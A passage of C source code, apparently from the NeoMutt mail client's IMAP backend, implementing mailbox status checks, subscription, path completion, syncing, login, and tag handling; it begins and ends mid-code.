adata->mailbox may be NULL for connections other than the current * mailbox's. */ if (adata->mailbox && (adata->mailbox->mdata == mdata)) { adata->mailbox->has_new = false; return mdata->messages; } if (adata->capabilities & IMAP_CAP_IMAP4REV1) uidvalidity_flag = "UIDVALIDITY"; else if (adata->capabilities & IMAP_CAP_STATUS) uidvalidity_flag = "UID-VALIDITY"; else { mutt_debug(LL_DEBUG2, "Server doesn't support STATUS\n"); return -1; } snprintf(cmd, sizeof(cmd), "STATUS %s (UIDNEXT %s UNSEEN RECENT MESSAGES)", mdata->munge_name, uidvalidity_flag); int rc = imap_exec(adata, cmd, queue ? IMAP_CMD_QUEUE : IMAP_CMD_NO_FLAGS | IMAP_CMD_POLL); if (rc < 0) { mutt_debug(LL_DEBUG1, "Error queueing command\n"); return rc; } return mdata->messages; } /** * imap_mbox_check_stats - Check the Mailbox statistics - Implements MxOps::mbox_check_stats() */ static int imap_mbox_check_stats(struct Mailbox *m, int flags) { return imap_mailbox_status(m, true); } /** * imap_path_status - Refresh the number of total and new messages * @param path Mailbox path * @param queue Queue the STATUS command * @retval num Total number of messages */ int imap_path_status(const char *path, bool queue) { struct Mailbox *m = mx_mbox_find2(path); const bool is_temp = !m; if (is_temp) { m = mx_path_resolve(path); if (!mx_mbox_ac_link(m)) { mailbox_free(&m); return 0; } } int rc = imap_mailbox_status(m, queue); if (is_temp) { mx_ac_remove(m); } return rc; } /** * imap_mailbox_status - Refresh the number of total and new messages * @param m Mailbox * @param queue Queue the STATUS command * @retval num Total number of messages * @retval -1 Error * * @note Prepare the mailbox if we are not connected */ int imap_mailbox_status(struct Mailbox *m, bool queue) { struct ImapAccountData *adata = imap_adata_get(m); struct ImapMboxData *mdata = imap_mdata_get(m); if (!adata || !mdata) return -1; return imap_status(adata, mdata, queue); } /** * imap_subscribe - Subscribe to a mailbox * @param path Mailbox path * @param subscribe True: subscribe, false: unsubscribe * @retval 0 Success * @retval -1 Failure */ int imap_subscribe(char *path, bool subscribe) { struct ImapAccountData *adata = NULL; struct ImapMboxData *mdata = NULL; char buf[2048]; struct Buffer err; if (imap_adata_find(path, &adata, &mdata) < 0) return -1; if (subscribe) mutt_message(_("Subscribing to %s..."), mdata->name); else mutt_message(_("Unsubscribing from %s..."), mdata->name); snprintf(buf, sizeof(buf), "%sSUBSCRIBE %s", subscribe ? "" : "UN", mdata->munge_name); if (imap_exec(adata, buf, IMAP_CMD_NO_FLAGS) != IMAP_EXEC_SUCCESS) { imap_mdata_free((void *) &mdata); return -1; } if (C_ImapCheckSubscribed) { char mbox[1024]; mutt_buffer_init(&err); err.dsize = 256; err.data = mutt_mem_malloc(err.dsize); size_t len = snprintf(mbox, sizeof(mbox), "%smailboxes ", subscribe ? "" : "un"); imap_quote_string(mbox + len, sizeof(mbox) - len, path, true); if (mutt_parse_rc_line(mbox, &err)) mutt_debug(LL_DEBUG1, "Error adding subscribed mailbox: %s\n", err.data); FREE(&err.data); } if (subscribe) mutt_message(_("Subscribed to %s"), mdata->name); else mutt_message(_("Unsubscribed from %s"), mdata->name); imap_mdata_free((void *) &mdata); return 0; } /** * imap_complete - Try to complete an IMAP folder path * @param buf Buffer for result * @param buflen Length of buffer * @param path Partial mailbox name to complete * @retval 0 Success * @retval -1 Failure * * Given a partial IMAP folder path, return a string which adds as much to the * path as is unique */ int imap_complete(char *buf, size_t buflen, const char *path) { struct ImapAccountData *adata = NULL; struct ImapMboxData *mdata = NULL; char tmp[2048]; struct ImapList listresp = { 0 }; char completion[1024]; int clen; size_t matchlen = 0; int completions = 0; int rc; if (imap_adata_find(path, &adata, &mdata) < 0) { mutt_str_copy(buf, path, buflen); return complete_hosts(buf, buflen); } /* fire off command */ snprintf(tmp, sizeof(tmp), "%s \"\" \"%s%%\"", C_ImapListSubscribed ? "LSUB" : "LIST", mdata->real_name); imap_cmd_start(adata, tmp); /* and see what the results are */ mutt_str_copy(completion, mdata->name, sizeof(completion)); imap_mdata_free((void *) &mdata); adata->cmdresult = &listresp; do { listresp.name = NULL; rc = imap_cmd_step(adata); if ((rc == IMAP_RES_CONTINUE) && listresp.name) { /* if the folder isn't selectable, append delimiter to force browse * to enter it on second tab. */ if (listresp.noselect) { clen = strlen(listresp.name); listresp.name[clen++] = listresp.delim; listresp.name[clen] = '\0'; } /* copy in first word */ if (!completions) { mutt_str_copy(completion, listresp.name, sizeof(completion)); matchlen = strlen(completion); completions++; continue; } matchlen = longest_common_prefix(completion, listresp.name, 0, matchlen); completions++; } } while (rc == IMAP_RES_CONTINUE); adata->cmdresult = NULL; if (completions) { /* reformat output */ imap_qualify_path(buf, buflen, &adata->conn->account, completion); mutt_pretty_mailbox(buf, buflen); return 0; } return -1; } /** * imap_fast_trash - Use server COPY command to copy deleted messages to trash * @param m Mailbox * @param dest Mailbox to move to * @retval -1 Error * @retval 0 Success * @retval 1 Non-fatal error - try fetch/append */ int imap_fast_trash(struct Mailbox *m, char *dest) { char prompt[1024]; int rc = -1; bool triedcreate = false; enum QuadOption err_continue = MUTT_NO; struct ImapAccountData *adata = imap_adata_get(m); struct ImapAccountData *dest_adata = NULL; struct ImapMboxData *dest_mdata = NULL; if (imap_adata_find(dest, &dest_adata, &dest_mdata) < 0) return -1; struct Buffer sync_cmd = mutt_buffer_make(0); /* check that the save-to folder is in the same account */ if (!imap_account_match(&(adata->conn->account), &(dest_adata->conn->account))) { mutt_debug(LL_DEBUG3, "%s not same server as %s\n", dest, mailbox_path(m)); goto out; } for (int i = 0; i < m->msg_count; i++) { struct Email *e = m->emails[i]; if (!e) break; if (e->active && e->changed && e->deleted && !e->purge) { rc = imap_sync_message_for_copy(m, e, &sync_cmd, &err_continue); if (rc < 0) { mutt_debug(LL_DEBUG1, "could not sync\n"); goto out; } } } /* loop in case of TRYCREATE */ do { rc = imap_exec_msgset(m, "UID COPY", dest_mdata->munge_name, MUTT_TRASH, false, false); if (rc == 0) { mutt_debug(LL_DEBUG1, "No messages to trash\n"); rc = -1; goto out; } else if (rc < 0) { mutt_debug(LL_DEBUG1, "could not queue copy\n"); goto out; } else if (m->verbose) { mutt_message(ngettext("Copying %d message to %s...", "Copying %d messages to %s...", rc), rc, dest_mdata->name); } /* let's get it on */ rc = imap_exec(adata, NULL, IMAP_CMD_NO_FLAGS); if (rc == IMAP_EXEC_ERROR) { if (triedcreate) { mutt_debug(LL_DEBUG1, "Already tried to create mailbox %s\n", dest_mdata->name); break; } /* bail out if command failed for reasons other than nonexistent target */ if (!mutt_istr_startswith(imap_get_qualifier(adata->buf), "[TRYCREATE]")) break; mutt_debug(LL_DEBUG3, "server suggests TRYCREATE\n"); snprintf(prompt, sizeof(prompt), _("Create %s?"), dest_mdata->name); if (C_Confirmcreate && (mutt_yesorno(prompt, MUTT_YES) != MUTT_YES)) { mutt_clear_error(); goto out; } if (imap_create_mailbox(adata, dest_mdata->name) < 0) break; triedcreate = true; } } while (rc == IMAP_EXEC_ERROR); if (rc != IMAP_EXEC_SUCCESS) { imap_error("imap_fast_trash", adata->buf); goto out; } rc = IMAP_EXEC_SUCCESS; out: mutt_buffer_dealloc(&sync_cmd); imap_mdata_free((void *) &dest_mdata); return ((rc == IMAP_EXEC_SUCCESS) ? 0 : -1); } /** * imap_sync_mailbox - Sync all the changes to the server * @param m Mailbox * @param expunge if true do expunge * @param close if true we move imap state to CLOSE * @retval #MUTT_REOPENED mailbox has been externally modified * @retval #MUTT_NEW_MAIL new mail has arrived * @retval 0 Success * @retval -1 Error * * @note The flag retvals come from a call to imap_check_mailbox() */ int imap_sync_mailbox(struct Mailbox *m, bool expunge, bool close) { if (!m) return -1; struct Email **emails = NULL; int oldsort; int rc; int check; struct ImapAccountData *adata = imap_adata_get(m); struct ImapMboxData *mdata = imap_mdata_get(m); if (adata->state < IMAP_SELECTED) { mutt_debug(LL_DEBUG2, "no mailbox selected\n"); return -1; } /* This function is only called when the calling code expects the context * to be changed. */ imap_allow_reopen(m); check = imap_check_mailbox(m, false); if (check < 0) return check; /* if we are expunging anyway, we can do deleted messages very quickly... */ if (expunge && (m->rights & MUTT_ACL_DELETE)) { rc = imap_exec_msgset(m, "UID STORE", "+FLAGS.SILENT (\\Deleted)", MUTT_DELETED, true, false); if (rc < 0) { mutt_error(_("Expunge failed")); return rc; } if (rc > 0) { /* mark these messages as unchanged so second pass ignores them. Done * here so BOGUS UW-IMAP 4.7 SILENT FLAGS updates are ignored. */ for (int i = 0; i < m->msg_count; i++) { struct Email *e = m->emails[i]; if (!e) break; if (e->deleted && e->changed) e->active = false; } if (m->verbose) { mutt_message(ngettext("Marking %d message deleted...", "Marking %d messages deleted...", rc), rc); } } } #ifdef USE_HCACHE imap_hcache_open(adata, mdata); #endif /* save messages with real (non-flag) changes */ for (int i = 0; i < m->msg_count; i++) { struct Email *e = m->emails[i]; if (!e) break; if (e->deleted) { imap_cache_del(m, e); #ifdef USE_HCACHE imap_hcache_del(mdata, imap_edata_get(e)->uid); #endif } if (e->active && e->changed) { #ifdef USE_HCACHE imap_hcache_put(mdata, e); #endif /* if the message has been rethreaded or attachments have been deleted * we delete the message and reupload it. * This works better if we're expunging, of course. */ /* TODO: why the e->env check? */ if ((e->env && e->env->changed) || e->attach_del) { /* L10N: The plural is chosen by the last %d, i.e. the total number */ if (m->verbose) { mutt_message(ngettext("Saving changed message... [%d/%d]", "Saving changed messages... [%d/%d]", m->msg_count), i + 1, m->msg_count); } bool save_append = m->append; m->append = true; mutt_save_message_ctx(e, true, false, false, m); m->append = save_append; /* TODO: why the check for e->env? Is this possible? */ if (e->env) e->env->changed = 0; } } } #ifdef USE_HCACHE imap_hcache_close(mdata); #endif /* presort here to avoid doing 10 resorts in imap_exec_msgset */ oldsort = C_Sort; if (C_Sort != SORT_ORDER) { emails = m->emails; m->emails = mutt_mem_malloc(m->msg_count * sizeof(struct Email *)); memcpy(m->emails, emails, m->msg_count * sizeof(struct Email *)); C_Sort = SORT_ORDER; qsort(m->emails, m->msg_count, sizeof(struct Email *), mutt_get_sort_func(SORT_ORDER)); } rc = sync_helper(m, MUTT_ACL_DELETE, MUTT_DELETED, "\\Deleted"); if (rc >= 0) rc |= sync_helper(m, MUTT_ACL_WRITE, MUTT_FLAG, "\\Flagged"); if (rc >= 0) rc |= sync_helper(m, MUTT_ACL_WRITE, MUTT_OLD, "Old"); if (rc >= 0) rc |= sync_helper(m, MUTT_ACL_SEEN, MUTT_READ, "\\Seen"); if (rc >= 0) rc |= sync_helper(m, MUTT_ACL_WRITE, MUTT_REPLIED, "\\Answered"); if (oldsort != C_Sort) { C_Sort = oldsort; FREE(&m->emails); m->emails = emails; } /* Flush the queued flags if any were changed in sync_helper. */ if (rc > 0) if (imap_exec(adata, NULL, IMAP_CMD_NO_FLAGS) != IMAP_EXEC_SUCCESS) rc = -1; if (rc < 0) { if (close) { if (mutt_yesorno(_("Error saving flags. Close anyway?"), MUTT_NO) == MUTT_YES) { adata->state = IMAP_AUTHENTICATED; return 0; } } else mutt_error(_("Error saving flags")); return -1; } /* Update local record of server state to reflect the synchronization just * completed. imap_read_headers always overwrites hcache-origin flags, so * there is no need to mutate the hcache after flag-only changes. */ for (int i = 0; i < m->msg_count; i++) { struct Email *e = m->emails[i]; if (!e) break; struct ImapEmailData *edata = imap_edata_get(e); edata->deleted = e->deleted; edata->flagged = e->flagged; edata->old = e->old; edata->read = e->read; edata->replied = e->replied; e->changed = false; } m->changed = false; /* We must send an EXPUNGE command if we're not closing. */ if (expunge && !close && (m->rights & MUTT_ACL_DELETE)) { if (m->verbose) mutt_message(_("Expunging messages from server...")); /* Set expunge bit so we don't get spurious reopened messages */ mdata->reopen |= IMAP_EXPUNGE_EXPECTED; if (imap_exec(adata, "EXPUNGE", IMAP_CMD_NO_FLAGS) != IMAP_EXEC_SUCCESS) { mdata->reopen &= ~IMAP_EXPUNGE_EXPECTED; imap_error(_("imap_sync_mailbox: EXPUNGE failed"), adata->buf); return -1; } mdata->reopen &= ~IMAP_EXPUNGE_EXPECTED; } if (expunge && close) { adata->closing = true; imap_exec(adata, "CLOSE", IMAP_CMD_QUEUE); adata->state = IMAP_AUTHENTICATED; } if (C_MessageCacheClean) imap_cache_clean(m); return check; } /** * imap_ac_find - Find an Account that matches a Mailbox path - Implements MxOps::ac_find() */ static struct Account *imap_ac_find(struct Account *a, const char *path) { struct Url *url = url_parse(path); if (!url) return NULL; struct ImapAccountData *adata = a->adata; struct ConnAccount *cac = &adata->conn->account; if (!mutt_istr_equal(url->host, cac->host)) a = NULL; else if (url->user && !mutt_istr_equal(url->user, cac->user)) a = NULL; url_free(&url); return a; } /** * imap_ac_add - Add a Mailbox to an Account - Implements MxOps::ac_add() */ static int imap_ac_add(struct Account *a, struct Mailbox *m) { struct ImapAccountData *adata = a->adata; if (!adata) { struct ConnAccount cac = { { 0 } }; char mailbox[PATH_MAX]; if (imap_parse_path(mailbox_path(m), &cac, mailbox, sizeof(mailbox)) < 0) return -1; adata = imap_adata_new(a); adata->conn = mutt_conn_new(&cac); if (!adata->conn) { imap_adata_free((void **) &adata); return -1; } mutt_account_hook(m->realpath); if (imap_login(adata) < 0) { imap_adata_free((void **) &adata); return -1; } a->adata = adata; a->adata_free = imap_adata_free; } if (!m->mdata) { struct Url *url = url_parse(mailbox_path(m)); struct ImapMboxData *mdata = imap_mdata_new(adata, url->path); /* fixup path and realpath, mainly to replace / by /INBOX */ char buf[1024]; imap_qualify_path(buf, sizeof(buf), &adata->conn->account, mdata->name); mutt_buffer_strcpy(&m->pathbuf, buf); mutt_str_replace(&m->realpath, mailbox_path(m)); m->mdata = mdata; m->mdata_free = imap_mdata_free; url_free(&url); } return 0; } /** * imap_mbox_select - Select a Mailbox * @param m Mailbox */ static void imap_mbox_select(struct Mailbox *m) { struct ImapAccountData *adata = imap_adata_get(m); struct ImapMboxData *mdata = imap_mdata_get(m); if (!adata || !mdata) return; const char *condstore = NULL; #ifdef USE_HCACHE if ((adata->capabilities & IMAP_CAP_CONDSTORE) && C_ImapCondstore) condstore = " (CONDSTORE)"; else #endif condstore = ""; char buf[PATH_MAX]; snprintf(buf, sizeof(buf), "%s %s%s", m->readonly ? "EXAMINE" : "SELECT", mdata->munge_name, condstore); adata->state = IMAP_SELECTED; imap_cmd_start(adata, buf); } /** * imap_login - Open an IMAP connection * @param adata Imap Account data * @retval 0 Success * @retval -1 Failure * * Ensure ImapAccountData is connected and logged into the imap server. */ int imap_login(struct ImapAccountData *adata) { if (!adata) return -1; if (adata->state == IMAP_DISCONNECTED) { mutt_buffer_reset(&adata->cmdbuf); // purge outstanding queued commands imap_open_connection(adata); } if (adata->state == IMAP_CONNECTED) { if (imap_authenticate(adata) == IMAP_AUTH_SUCCESS) { adata->state = IMAP_AUTHENTICATED; FREE(&adata->capstr); if (adata->conn->ssf != 0) { mutt_debug(LL_DEBUG2, "Communication encrypted at %d bits\n", adata->conn->ssf); } } else mutt_account_unsetpass(&adata->conn->account); } if (adata->state == IMAP_AUTHENTICATED) { /* capabilities may have changed */ imap_exec(adata, "CAPABILITY", IMAP_CMD_PASS); #ifdef USE_ZLIB /* RFC4978 */ if ((adata->capabilities & IMAP_CAP_COMPRESS) && C_ImapDeflate && (imap_exec(adata, "COMPRESS DEFLATE", IMAP_CMD_PASS) == IMAP_EXEC_SUCCESS)) { mutt_debug(LL_DEBUG2, "IMAP compression is enabled on connection to %s\n", adata->conn->account.host); mutt_zstrm_wrap_conn(adata->conn); } #endif /* enable RFC6855, if the server supports that */ if (C_ImapRfc5161 && (adata->capabilities & IMAP_CAP_ENABLE)) imap_exec(adata, "ENABLE UTF8=ACCEPT", IMAP_CMD_QUEUE); /* enable QRESYNC. Advertising QRESYNC also means CONDSTORE * is supported (even if not advertised), so flip that bit. */ if (adata->capabilities & IMAP_CAP_QRESYNC) { adata->capabilities |= IMAP_CAP_CONDSTORE; if (C_ImapRfc5161 && C_ImapQresync) imap_exec(adata, "ENABLE QRESYNC", IMAP_CMD_QUEUE); } /* get root delimiter, '/' as default */ adata->delim = '/'; imap_exec(adata, "LIST \"\" \"\"", IMAP_CMD_QUEUE); /* we may need the root delimiter before we open a mailbox */ imap_exec(adata, NULL, IMAP_CMD_NO_FLAGS); /* select the mailbox that used to be open before disconnect */ if (adata->mailbox) { imap_mbox_select(adata->mailbox); } } if (adata->state < IMAP_AUTHENTICATED) return -1; return 0; } /** * imap_mbox_open - Open a mailbox - Implements MxOps::mbox_open() */ static int imap_mbox_open(struct Mailbox *m) { if (!m->account || !m->mdata) return -1; char buf[PATH_MAX]; int count = 0; int rc; struct ImapAccountData *adata = imap_adata_get(m); struct ImapMboxData *mdata = imap_mdata_get(m); mutt_debug(LL_DEBUG3, "opening %s, saving %s\n", m->pathbuf.data, (adata->mailbox ? adata->mailbox->pathbuf.data : "(none)")); adata->prev_mailbox = adata->mailbox; adata->mailbox = m; /* clear mailbox status */ adata->status = 0; m->rights = 0; mdata->new_mail_count = 0; if (m->verbose) mutt_message(_("Selecting %s..."), mdata->name); /* pipeline ACL test */ if (adata->capabilities & IMAP_CAP_ACL) { snprintf(buf, sizeof(buf), "MYRIGHTS %s", mdata->munge_name); imap_exec(adata, buf, IMAP_CMD_QUEUE); } /* assume we have all rights if ACL is unavailable */ else { m->rights |= MUTT_ACL_LOOKUP | MUTT_ACL_READ | MUTT_ACL_SEEN | MUTT_ACL_WRITE | MUTT_ACL_INSERT | MUTT_ACL_POST | MUTT_ACL_CREATE | MUTT_ACL_DELETE; } /* pipeline the postponed count if possible */ struct Mailbox *m_postponed = mx_mbox_find2(C_Postponed); struct ImapAccountData *postponed_adata = imap_adata_get(m_postponed); if (postponed_adata && imap_account_match(&postponed_adata->conn->account, &adata->conn->account)) { imap_mailbox_status(m_postponed, true); } if (C_ImapCheckSubscribed) imap_exec(adata, "LSUB \"\" \"*\"", IMAP_CMD_QUEUE); imap_mbox_select(m); do { char *pc = NULL; rc = imap_cmd_step(adata); if (rc != IMAP_RES_CONTINUE) break; pc = adata->buf + 2; /* Obtain list of available flags here, may be overridden by a * PERMANENTFLAGS tag in the OK response */ if (mutt_istr_startswith(pc, "FLAGS")) { /* don't override PERMANENTFLAGS */ if (STAILQ_EMPTY(&mdata->flags)) { mutt_debug(LL_DEBUG3, "Getting mailbox FLAGS\n"); pc = get_flags(&mdata->flags, pc); if (!pc) goto fail; } } /* PERMANENTFLAGS are massaged to look like FLAGS, then override FLAGS */ else if (mutt_istr_startswith(pc, "OK [PERMANENTFLAGS")) { mutt_debug(LL_DEBUG3, "Getting mailbox PERMANENTFLAGS\n"); /* safe to call on NULL */ mutt_list_free(&mdata->flags); /* skip "OK [PERMANENT" so syntax is the same as FLAGS */ pc += 13; pc = get_flags(&(mdata->flags), pc); if (!pc) goto fail; } /* save UIDVALIDITY for the header cache */ else if (mutt_istr_startswith(pc, "OK [UIDVALIDITY")) { mutt_debug(LL_DEBUG3, "Getting mailbox UIDVALIDITY\n"); pc += 3; pc = imap_next_word(pc); if (mutt_str_atoui(pc, &mdata->uidvalidity) < 0) goto fail; } else if (mutt_istr_startswith(pc, "OK [UIDNEXT")) { mutt_debug(LL_DEBUG3, "Getting mailbox UIDNEXT\n"); pc += 3; pc = imap_next_word(pc); if (mutt_str_atoui(pc, &mdata->uid_next) < 0) goto fail; } else if (mutt_istr_startswith(pc, "OK [HIGHESTMODSEQ")) { mutt_debug(LL_DEBUG3, "Getting mailbox HIGHESTMODSEQ\n"); pc += 3; pc = imap_next_word(pc); if (mutt_str_atoull(pc, &mdata->modseq) < 0) goto fail; } else if (mutt_istr_startswith(pc, "OK [NOMODSEQ")) { mutt_debug(LL_DEBUG3, "Mailbox has NOMODSEQ set\n"); mdata->modseq = 0; } else { pc = imap_next_word(pc); if (mutt_istr_startswith(pc, "EXISTS")) { count = mdata->new_mail_count; mdata->new_mail_count = 0; } } } while (rc == IMAP_RES_CONTINUE); if (rc == IMAP_RES_NO) { char *s = imap_next_word(adata->buf); /* skip seq */ s = imap_next_word(s); /* Skip response */ mutt_error("%s", s); goto fail; } if (rc != IMAP_RES_OK) goto fail; /* check for READ-ONLY notification */ if (mutt_istr_startswith(imap_get_qualifier(adata->buf), "[READ-ONLY]") && !(adata->capabilities & IMAP_CAP_ACL)) { mutt_debug(LL_DEBUG2, "Mailbox is read-only\n"); m->readonly = true; } /* dump the mailbox flags we've found */ if (C_DebugLevel > LL_DEBUG2) { if (STAILQ_EMPTY(&mdata->flags)) mutt_debug(LL_DEBUG3, "No folder flags found\n"); else { struct ListNode *np = NULL; struct Buffer flag_buffer; mutt_buffer_init(&flag_buffer); mutt_buffer_printf(&flag_buffer, "Mailbox flags: "); STAILQ_FOREACH(np, &mdata->flags, entries) { mutt_buffer_add_printf(&flag_buffer, "[%s] ", np->data); } mutt_debug(LL_DEBUG3, "%s\n", flag_buffer.data); FREE(&flag_buffer.data); } } if (!((m->rights & MUTT_ACL_DELETE) || (m->rights & MUTT_ACL_SEEN) || (m->rights & MUTT_ACL_WRITE) || (m->rights & MUTT_ACL_INSERT))) { m->readonly = true; } while (m->email_max < count) mx_alloc_memory(m); m->msg_count = 0; m->msg_unread = 0; m->msg_flagged = 0; m->msg_new = 0; m->msg_deleted = 0; m->size = 0; m->vcount = 0; if (count && (imap_read_headers(m, 1, count, true) < 0)) { mutt_error(_("Error opening mailbox")); goto fail; } mutt_debug(LL_DEBUG2, "msg_count is %d\n", m->msg_count); return 0; fail: if (adata->state == IMAP_SELECTED) adata->state = IMAP_AUTHENTICATED; return -1; } /** * imap_mbox_open_append - Open a Mailbox for appending - Implements MxOps::mbox_open_append() */ static int imap_mbox_open_append(struct Mailbox *m, OpenMailboxFlags flags) { if (!m->account) return -1; /* in APPEND mode, we appear to hijack an existing IMAP connection - * ctx is brand new and mostly empty */ struct ImapAccountData *adata = imap_adata_get(m); struct ImapMboxData *mdata = imap_mdata_get(m); int rc = imap_mailbox_status(m, false); if (rc >= 0) return 0; if (rc == -1) return -1; char buf[PATH_MAX + 64]; snprintf(buf, sizeof(buf), _("Create %s?"), mdata->name); if (C_Confirmcreate && (mutt_yesorno(buf, MUTT_YES) != MUTT_YES)) return -1; if (imap_create_mailbox(adata, mdata->name) < 0) return -1; return 0; } /** * imap_mbox_check - Check for new mail - Implements MxOps::mbox_check() * @param m Mailbox * @retval >0 Success, e.g. #MUTT_REOPENED * @retval -1 Failure */ static int imap_mbox_check(struct Mailbox *m) { imap_allow_reopen(m); int rc = imap_check_mailbox(m, false); /* NOTE - ctx might have been changed at this point. In particular, * m could be NULL. Beware. */ imap_disallow_reopen(m); return rc; } /** * imap_mbox_close - Close a Mailbox - Implements MxOps::mbox_close() */ static int imap_mbox_close(struct Mailbox *m) { struct ImapAccountData *adata = imap_adata_get(m); struct ImapMboxData *mdata = imap_mdata_get(m); /* Check to see if the mailbox is actually open */ if (!adata || !mdata) return 0; /* imap_mbox_open_append() borrows the struct ImapAccountData temporarily, * just for the connection. * * So when these are equal, it means we are actually closing the * mailbox and should clean up adata. Otherwise, we don't want to * touch adata - it's still being used. */ if (m == adata->mailbox) { if ((adata->status != IMAP_FATAL) && (adata->state >= IMAP_SELECTED)) { /* mx_mbox_close won't sync if there are no deleted messages * and the mailbox is unchanged, so we may have to close here */ if (m->msg_deleted == 0) { adata->closing = true; imap_exec(adata, "CLOSE", IMAP_CMD_QUEUE); } adata->state = IMAP_AUTHENTICATED; } mutt_debug(LL_DEBUG3, "closing %s, restoring %s\n", m->pathbuf.data, (adata->prev_mailbox ? adata->prev_mailbox->pathbuf.data : "(none)")); adata->mailbox = adata->prev_mailbox; imap_mbox_select(adata->prev_mailbox); imap_mdata_cache_reset(m->mdata); } return 0; } /** * imap_msg_open_new - Open a new message in a Mailbox - Implements MxOps::msg_open_new() */ static int imap_msg_open_new(struct Mailbox *m, struct Message *msg, const struct Email *e) { int rc = -1; struct Buffer *tmp = mutt_buffer_pool_get(); mutt_buffer_mktemp(tmp); msg->fp = mutt_file_fopen(mutt_b2s(tmp), "w"); if (!msg->fp) { mutt_perror(mutt_b2s(tmp)); goto cleanup; } msg->path = mutt_buffer_strdup(tmp); rc = 0; cleanup: mutt_buffer_pool_release(&tmp); return rc; } /** * imap_tags_edit - Prompt and validate new messages tags - Implements MxOps::tags_edit() */ static int imap_tags_edit(struct Mailbox *m, const char *tags, char *buf, size_t buflen) { struct ImapMboxData *mdata = imap_mdata_get(m); if (!mdata) return -1; char *new_tag = NULL; char *checker = NULL; /* Check for \* flags capability */ if (!imap_has_flag(&mdata->flags, NULL)) { mutt_error(_("IMAP server doesn't support custom flags")); return -1; } *buf = '\0'; if (tags) mutt_str_copy(buf, tags, buflen); if (mutt_get_field("Tags: ", buf, buflen, MUTT_COMP_NO_FLAGS) != 0) return -1; /* each keyword must be atom defined by rfc822 as: * * atom = 1*<any CHAR except specials, SPACE and CTLs> * CHAR = ( 0.-127. ) * specials = "(" / ")" / "<" / ">" / "@" * / "," / ";" / ":" / "\" / <"> * / "." / "[" / "]" * SPACE = ( 32. ) * CTLS = ( 0.-31., 127.) * * And must be separated by one space. */ new_tag = buf; checker = buf; SKIPWS(checker); while (*checker != '\0') { if ((*checker < 32) || (*checker >= 127) || // We allow space because it's the separator (*checker == 40) || // ( (*checker == 41) || // ) (*checker == 60) || // < (*checker == 62) || // > (*checker == 64) || // @ (*checker == 44) || // , (*checker == 59) || // ; (*checker == 58) || // : (*checker == 92) || // backslash (*checker == 34) || // " (*checker == 46) || // . (*checker == 91) || // [ (*checker == 93)) // ] { mutt_error(_("Invalid IMAP flags")); return 0; } /* Skip duplicate space */ while ((checker[0] == ' ') && (checker[1] == ' ')) checker++; /* copy char to new_tag and go the next one */ *new_tag++ = *checker++; } *new_tag = '\0'; new_tag = buf; /* rewind */ mutt_str_remove_trailing_ws(new_tag); return !mutt_str_equal(tags, buf); } /** * imap_tags_commit - Save the tags to a message - Implements MxOps::tags_commit() * * This method update the server flags on the server by * removing the last know custom flags of a header * and adds the local flags * * If everything success we push the local flags to the * last know custom flags (flags_remote). * * Also this method check that each flags is support by the server * first and remove unsupported one. */ static int imap_tags_commit(struct Mailbox *m, struct Email *e, char *buf) { char uid[11]; struct ImapAccountData *adata = imap_adata_get(m); if (*buf == '\0') buf = NULL; if (!(adata->mailbox->rights & MUTT_ACL_WRITE)) return 0; snprintf(uid, sizeof(uid), "%u", imap_edata_get(e)->uid); /* Remove old custom flags */ if (imap_edata_get(e)->flags_remote) { struct Buffer cmd = mutt_buffer_make(128); // just a guess mutt_buffer_addstr(&cmd, "UID STORE "); mutt_buffer_addstr(&cmd, uid); mutt_buffer_addstr(&cmd, " -FLAGS.SILENT ("); mutt_buffer_addstr(&cmd, imap_edata_get(e)->flags_remote); mutt_buffer_addstr(&cmd, ")"); /* Should we return here, or we are fine and we could * continue to add new flags */ int rc = imap_exec(adata, cmd.data, IMAP_CMD_NO_FLAGS); mutt_buffer_dealloc(&cmd); if (rc != IMAP_EXEC_SUCCESS) { return -1; } } /* Add new custom flags */ if (buf) { struct Buffer cmd = mutt_buffer_make(128); // just a guess mutt_buffer_addstr(&cmd, "UID STORE "); mutt_buffer_addstr(&cmd, uid); mutt_buffer_addstr(&cmd, " +FLAGS.SILENT ("); mutt_buffer_addstr(&cmd, buf); mutt_buffer_addstr(&cmd, ")"); int rc = imap_exec(adata, cmd.data, IMAP_CMD_NO_FLAGS); mutt_buffer_dealloc(&cmd); if (rc != IMAP_EXEC_SUCCESS) { mutt_debug(LL_DEBUG1, "fail to add new flags\n"); return -1; } } /* We are good sync them */ mutt_debug(LL_DEBUG1, "NEW TAGS: %s\n", buf); driver_tags_replace(&e->tags, buf); FREE(&imap_edata_get(e)->flags_remote); imap_edata_get(e)->flags_remote = driver_tags_get_with_hidden(&e->tags); return 0; } /** * imap_path_probe - Is this an IMAP Mailbox? - Implements MxOps::path_probe() */ enum MailboxType imap_path_probe(const char *path, const struct stat *st) { if (mutt_istr_startswith(path, "imap://")) return MUTT_IMAP; if (mutt_istr_startswith(path, "imaps://")) return MUTT_IMAP; return MUTT_UNKNOWN; } /** * imap_path_canon - Canonicalise a Mailbox path - Implements MxOps::path_canon() */ int imap_path_canon(char *buf, size_t buflen) { struct Url *url = url_parse(buf); if (!url) return 0; char tmp[PATH_MAX]; char tmp2[PATH_MAX]; imap_fix_path('\0', url->path, tmp, sizeof(tmp)); url->path = tmp; url_tostring(url, tmp2, sizeof(tmp2), 0); mutt_str_copy(buf, tmp2, buflen); url_free(&url); return 0; } /** * imap_expand_path - Buffer wrapper around imap_path_canon() * @param buf Path to expand * @retval 0 Success * @retval -1 Failure * * @note The path is expanded in place */ int imap_expand_path(struct Buffer *buf) { mutt_buffer_alloc(buf, PATH_MAX); return imap_path_canon(buf->data, PATH_MAX); } /** * imap_path_pretty - Abbreviate a Mailbox path - Implements MxOps::path_pretty() */ static int imap_path_pretty(char *buf, size_t buflen, const char *folder) { if (!folder) return -1; imap_pretty_mailbox(buf, buflen, folder); return 0; } /** * imap_path_parent - Find the parent of a Mailbox path - Implements MxOps::path_parent() */ static int imap_path_parent(char *buf, size_t buflen) { char tmp[PATH_MAX] = { 0 }; imap_get_parent_path(buf, tmp, sizeof(tmp)); mutt_str_copy(buf, tmp, buflen); return 0; } /** * imap_path_is_empty - Is the mailbox empty - Implements MxOps::path_is_empty() */ static int imap_path_is_empty(const char *path) { int rc = imap_path_status(path, false); if (rc < 0) return -1; if (rc == 0) return 1; return 0; } // clang-format off /** * MxImapOps - IMAP Mailbox - Implements ::MxOps */ struct MxOps MxImapOps = { .type = MUTT_IMAP, .name = "imap", .is_local = false, .ac_find = imap_ac_find, .ac_add = imap_ac_add, .mbox_open = imap_mbox_open, .mbox_open_append = imap_mbox_open_append, .mbox_check = imap_mbox_check, .mbox_check_stats = 